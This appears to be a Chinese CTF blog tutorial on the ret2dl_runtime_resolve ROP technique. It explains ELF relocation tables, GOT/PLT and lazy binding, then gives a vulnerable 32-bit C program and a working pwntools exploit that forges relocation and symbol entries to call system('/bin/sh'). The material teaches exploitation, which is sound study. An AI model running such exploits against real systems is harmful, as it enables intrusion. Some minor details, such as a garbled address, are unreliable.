2022年4月补充:当时写的这篇博客感觉很垃圾,并没有讲明白。之后把我的课件传上来吧。

今天学习了一下ret2dl_runtime_resolve。大概是最复杂的rop技术了。

Linux中通过_dl_runtime_resolve函数来对动态链接的函数进行重定位。ret2dl_runtime_resolve就是通过控制这个函数的参数来控制解析的函数,从而得到执行目标函数的目的。

Structs

ELF可执行文件的组成部分有:

  • ELF头部
  • 程序头部表,和对应的段
  • 节头部表,和对应的节

如果该文件采用了动态链接则包含.dynamic节。结构:

1
2
3
4
5
6
7
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;

查看各个tag:

1
readelf -d ./bin

节中包含目标文件的所有信息:

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct {
Elf32_Word sh_name; // 节头部字符串表节区的索引
Elf32_Word sh_type; // 节类型
Elf32_Word sh_flags; // 节标志,用于描述属性
Elf32_Addr sh_addr; // 节的内存映像
Elf32_Off sh_offset; // 节的文件偏移
Elf32_Word sh_size; // 节的长度
Elf32_Word sh_link; // 节头部表索引链接
Elf32_Word sh_info; // 附加信息
Elf32_Word sh_addralign; // 节对齐约束
Elf32_Word sh_entsize; // 固定大小的节表项的长度
} Elf32_Shdr;

查看各个节区:

1
readelf -S ./bin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
There are 31 section headers, starting at offset 0x18a4:

Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
...
[ 5] .dynsym DYNSYM 080481d8 0001d8 0000a0 10 A 6 1 4
[ 6] .dynstr STRTAB 08048278 000278 00006b 00 A 0 0 1
...
[ 9] .rel.dyn REL 08048318 000318 000018 08 A 5 0 4
[10] .rel.plt REL 08048330 000330 000028 08 AI 5 24 4
...
[12] .plt PROGBITS 08048380 000380 000060 04 AX 0 0 16
[13] .plt.got PROGBITS 080483e0 0003e0 000008 00 AX 0 0 8
...
[22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[24] .got.plt PROGBITS 0804a000 001000 000020 04 WA 0 0 4
...

这里只保留有用的部分。

Headers

.rel.plt & .rel.dyn

.rel.plt用于函数重定位(read, write, …)。

.rel.dyn用于变量重定位(stdin, stdout, …)。

1
2
3
4
5
6
7
8
typedef struct {
Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
Elf32_Word r_info; // 符号表索引
} Elf32_Rel;

#define ELF32_R_SYM(info) ((info)>>8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))

查看这两部分的指令:

1
readelf -r ./bof
1
2
3
4
5
6
7
8
9
10
11
12
13
Relocation section '.rel.dyn' at offset 0x318 contains 3 entries:
Offset Info Type Sym.Value Sym. Name
08049ffc 00000306 R_386_GLOB_DAT 00000000 __gmon_start__
0804a040 00000905 R_386_COPY 0804a040 stdin@GLIBC_2.0
0804a044 00000705 R_386_COPY 0804a044 stdout@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x330 contains 5 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a014 00000407 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a01c 00000607 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0

需要注意的是.rel.plt中offset和info这两个值。offset的值其实就是平常所谓的GOT表中的地址。GOT表指的是.plt.got。在代码中offset就是r_offset, info就是r_info

.got & .got.plt

.got为全局变量偏移表。

.plt.got为全局函数偏移表。也就是.rel.plt中offset的值。

.plt.got的大致结构:

1
2
3
4
5
6
add of dynamic
link_map
dl_resolve
printf
put
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
.got:08049FFC ; Segment type: Pure data
.got:08049FFC ; Segment permissions: Read/Write
.got:08049FFC _got segment dword public 'DATA' use32
.got:08049FFC assume cs:_got
.got:08049FFC ;org 8049FFCh
.got:08049FFC __gmon_start___ptr dd offset __imp___gmon_start__
.got:08049FFC ; DATA XREF: _init_proc+F↑r
.got:08049FFC ; __gmon_start__↑r
.got:08049FFC _got ends
.got:08049FFC
.got.plt:0804A000 ; ===========================================================================
.got.plt:0804A000
.got.plt:0804A000 ; Segment type: Pure data
.got.plt:0804A000 ; Segment permissions: Read/Write
.got.plt:0804A000 _got_plt segment dword public 'DATA' use32
.got.plt:0804A000 assume cs:_got_plt
.got.plt:0804A000 ;org 804A000h
.got.plt:0804A000 _GLOBAL_OFFSET_TABLE_ dd offset _DYNAMIC
.got.plt:0804A004 dword_804A004 dd 0 ; DATA XREF: sub_8048380↑r
.got.plt:0804A008 dword_804A008 dd 0 ; DATA XREF: sub_8048380+6↑r
.got.plt:0804A00C off_804A00C dd offset setbuf ; DATA XREF: _setbuf↑r
.got.plt:0804A010 off_804A010 dd offset read ; DATA XREF: _read↑r
.got.plt:0804A014 off_804A014 dd offset strlen ; DATA XREF: _strlen↑r
.got.plt:0804A018 off_804A018 dd offset __libc_start_main
.got.plt:0804A018 ; DATA XREF: ___libc_start_main↑r
.got.plt:0804A01C off_804A01C dd offset write ; DATA XREF: _write↑r
.got.plt:0804A01C _got_plt ends
.got.plt:0804A01C

其中比较有用的是前三项:

1
2
3
.got.plt:0804A000 _GLOBAL_OFFSET_TABLE_ dd offset _DYNAMIC
.got.plt:0804A004 dword_804A004 dd 0 ; DATA XREF: sub_8048380↑r
.got.plt:0804A008 dword_804A008 dd 0 ; DATA XREF: sub_8048380+6↑r

运行后分别存储的是dynamic的地址,link_map的地址,_dl_runtime_resolve函数的libc地址。link_map将用到的library串成linked list。

.dynsym & .dynstr

.dynsym包含动态链接符号表。

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index)
Elf32_Addr st_value; // Symbol value
Elf32_Word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
} Elf32_Sym;

Elf32_Sym[num]中的num对应着ELF32_R_SYM(Elf32_Rel->r_info)。也就是

1
ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8

以write为例,r_info=0x607,那么在dynsym中的索引值就是0x607 >> 8 = 0x6。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
LOAD:080481D8 ; ELF Symbol Table
LOAD:080481D8 Elf32_Sym <0>
LOAD:080481E8 Elf32_Sym <offset aSetbuf - offset byte_8048278, 0, 0, 12h, 0, 0> ; "setbuf"
LOAD:080481F8 Elf32_Sym <offset aRead - offset byte_8048278, 0, 0, 12h, 0, 0> ; "read"
LOAD:08048208 Elf32_Sym <offset aGmonStart - offset byte_8048278, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:08048218 Elf32_Sym <offset aStrlen - offset byte_8048278, 0, 0, 12h, 0, 0> ; "strlen"
LOAD:08048228 Elf32_Sym <offset aLibcStartMain - offset byte_8048278, 0, 0, 12h, 0, \ ; "__libc_start_main"
LOAD:08048228 0>
LOAD:08048238 Elf32_Sym <offset aWrite - offset byte_8048278, 0, 0, 12h, 0, 0> ; "write"
LOAD:08048248 Elf32_Sym <offset aStdout - offset byte_8048278, \ ; "stdout"
LOAD:08048248 offset stdout@@GLIBC_2_0, 4, 11h, 0, 1Ah>
LOAD:08048258 Elf32_Sym <offset aIoStdinUsed - offset byte_8048278, \ ; "_IO_stdin_used"
LOAD:08048258 offset _IO_stdin_used, 4, 11h, 0, 10h>
LOAD:08048268 Elf32_Sym <offset aStdin - offset byte_8048278, \ ; "stdin"
LOAD:08048268 offset stdin@@GLIBC_2_0, 4, 11h, 0, 1Ah>

dynsym中是0x10对齐的,第6项就是dynsym+6*0x10=0x080481d8+0x60=0x080481d838。

查看0x080481d838的值是0x4c,也就是这一项:

1
Elf32_Sym[6]->st_name=0x4c(.dynsym + Elf32_Sym_size * num)

保存的是在dynstr中字符串”write”的偏移。那么.dynstr+0x4c就是字符串”write”。字符串的头尾都是\x00截断的。

.plt

.plt是过程链接表。就是平常说的PLT表。过程链接表把位置独立的函数调用重定向到绝对位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.plt:08048380 sub_8048380     proc near               ; CODE XREF: .plt:0804839B↓j
.plt:08048380 ; .plt:080483AB↓j ...
.plt:08048380 ; __unwind {
.plt:08048380 push ds:dword_804A004
.plt:08048386 jmp ds:dword_804A008
.plt:08048386 sub_8048380 endp
.plt:08048386
.plt:08048386 ; ---------------------------------------------------------------------------
.plt:0804838C align 10h
.plt:08048390 ; [00000006 BYTES: COLLAPSED FUNCTION _setbuf. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048396 ; ---------------------------------------------------------------------------
.plt:08048396 push 0
.plt:0804839B jmp sub_8048380
.plt:080483A0 ; [00000006 BYTES: COLLAPSED FUNCTION _read. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:080483A6 ; ---------------------------------------------------------------------------
.plt:080483A6 push 8
.plt:080483AB jmp sub_8048380
.plt:080483B0 ; [00000006 BYTES: COLLAPSED FUNCTION _strlen. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:080483B6 ; ---------------------------------------------------------------------------
.plt:080483B6 push 10h
.plt:080483BB jmp sub_8048380
.plt:080483C0 ; [00000006 BYTES: COLLAPSED FUNCTION ___libc_start_main. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:080483C6 ; ---------------------------------------------------------------------------
.plt:080483C6 push 18h
.plt:080483CB jmp sub_8048380
.plt:080483D0 ; [00000006 BYTES: COLLAPSED FUNCTION _write. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:080483D6 ; ---------------------------------------------------------------------------
.plt:080483D6 push 20h
.plt:080483DB jmp sub_8048380
.plt:080483DB ; } // starts at 8048380
.plt:080483DB _plt ends
.plt:080483DB

plt最开始的代码:

1
2
push *(GOT+4)
jmp *(GOT+8)

plt表中每个保存着三行代码:

1
2
3
0x80483d0 <write@plt>:       jmp    DWORD PTR ds:0x804a01c
0x80483d6 <write@plt+6>: push 0x20
0x80483db <write@plt+11>: jmp 0x8048380

Lazy Binding

延迟绑定:在第一次call libc中的函数时,才会去寻找函数真正的地址进行绑定。

我们从call write@plt开始,将整个过程走一遍。

在第一次调用write时,进入write@plt:

1
2
3
4
5
6
7
8
9
10
11
12
13
0x80483d0  <write@plt>                 jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+28] <0x804a01c>
0x80483d6 <write@plt+6> push 0x20
0x80483db <write@plt+11> jmp 0x8048380

0x8048380 push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
0x8048386 jmp dword ptr [0x804a008] <0xf770c000>

0xf770c000 <_dl_runtime_resolve> push eax
0xf770c001 <_dl_runtime_resolve+1> push ecx
0xf770c002 <_dl_runtime_resolve+2> push edx
0xf770c003 <_dl_runtime_resolve+3> mov edx, dword ptr [esp + 0x10]
0xf770c007 <_dl_runtime_resolve+7> mov eax, dword ptr [esp + 0xc]
0xf770c00b <_dl_runtime_resolve+11> call _dl_fixup <0xf77057e0>

第一次调用时,jmp到GOT表(.got.plt)。此时GOT表保存的地址是PLT表的第二条执行的地址,继续执行。此时push 0x20,这里的0x20是reloc_arg。之后跳转到0x8048380,也就是PLT[0]的位置。

PLT[0]上来push了一个参数,是link_map的地址(.got.plt的第二项)。之后跳转到_dl_runtime_resolve函数。加上之前的push的参数,相当于执行了

1
_dl_runtime_resolve(link_map, reloc_arg)

_dl_runtime_resolve中会调用_dl_fixup函数,将真实的地址填入到GOT表中,覆盖原来的plt+6的值。下次调用时直接进入真实的地址。

看一下fixup函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

首先,通过传入的reloc_arg和.rel.plt地址计算出函数在.rel.plt的表项reloc

1
.rel.plt + reloc_arg

之后通过reloc->r_info和.dynsym的地址计算出st_name保存的偏移值:

1
.dymsym + (r_info >> 8) * 0x10

之后加上.dynstr的地址拿到函数名称的字符串:

1
.dynstr + [.dymsym + (r_info >> 8) * 0x10] ==> "write"

之后,根据这个字符串”write”来获取write函数的真实地址,填入GOT之后,call write函数。

ret2dl_runtime_resolve

假设存在一个栈溢出,PIE关闭,RELRO没有全开:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// gcc -o bof -m32 -fno-stack-protector bof.c
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";

setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}

通过之前的分析,call函数的整个过程:

  • 通过.rel.plt和reloc_arg计算reloc
  • 通过reloc->r_info找dynsym中的sym
  • 检查reloc->r_info最低位为7
  • 通过dynstr和sym->str_name找到函数名称字符串
  • 进入目标函数

其中.rel.plt等各个节的地址不可控,但是最开始压入的reloc_arg是可控的。通过构造reloc_arg,将reloc定位到bss上,这样reloc->r_info可控,进而sym可控,这样sym->str_name可控,将dynstr+sym->str_name指向bss上的”system”,并提前布置好binsh字符串,就可以拿到shell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')

offset = 112
bss_addr = elf.bss()

r.recvuntil('Welcome to XDCTF2015~!\n')

## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())

## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"

plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

### making fake write symbol
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf
) # since the size of item(Elf32_Symbol) of dynsym is 0x10
fake_sym_addr = fake_sym_addr + align
index_dynsym = (
fake_sym_addr - dynsym) / 0x10 # calculate the dynsym index of write
## plus 10 since the size of Elf32_Sym is 16.
st_name = fake_sym_addr + 0x10 - dynstr
fake_write_sym = flat([st_name, 0, 0, 0x12])

### making fake write relocation

## making base_stage+24 ---> fake reloc
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7
fake_write_reloc = flat([write_got, r_info])

rop.raw(plt0)
rop.raw(index_offset)
## fake ret addr of write
rop.raw('bbbb')
rop.raw(base_stage + 82)
rop.raw('bbbb')
rop.raw('bbbb')
rop.raw(fake_write_reloc) # fake write reloc
rop.raw('a' * align) # padding
rop.raw(fake_write_sym) # fake write symbol
rop.raw('system\x00') # there must be a \x00 to mark the end of string
rop.raw('a' * (80 - len(rop.chain())))
print rop.dump()
print len(rop.chain())
rop.raw(sh + '\x00')
rop.raw('a' * (100 - len(rop.chain())))

r.sendline(rop.chain())
r.interactive()

贴一下wiki上的exp。可以跟着wiki把6个阶段的exp跟一遍:

  • Stage1 :stack pivot,执行write
  • Stage2 :stack pivot,通过PLT[0]执行write(1, ptr, len),压入原始的reloc_arg。
  • Stage3 :stack pivot,通过PLT[0]执行write(1, ptr, len),构造reloc_arg指向伪造的reloc,没有改变reloc内容。
  • Stage4 :stack pivot,通过PLT[0]执行write(1, ptr, len),构造reloc_arg指向伪造的reloc,指向伪造的sym,但仍然指向原有的”write”。
  • Stage4 :stack pivot,通过PLT[0]执行write(1, ptr, len),构造reloc_arg指向伪造的reloc,指向伪造的sym,指向bss上的”write”。
  • Stage6 :stack pivot,通过PLT[0]执行system(“/bin/sh”),构造reloc_arg指向伪造的reloc,指向伪造的sym,指向bss上的”system”。